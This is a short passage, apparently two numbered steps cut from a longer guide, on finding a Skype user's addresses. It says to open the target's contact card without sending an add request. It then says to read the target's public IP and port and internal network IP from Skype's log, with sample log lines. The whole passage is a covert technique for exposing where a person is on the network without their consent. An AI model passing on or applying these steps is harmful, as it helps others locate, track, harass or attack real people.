3. Make "add a Skype contact" action, but not send add request, just click on user, to view his vcard(general info about user). This will be enough.

4. Take look in the log of the desired skypename.
The record will be like this for real user ip: -r195.100.213.25:31101
And like this for user internal network card ip: -l172.10.5.17
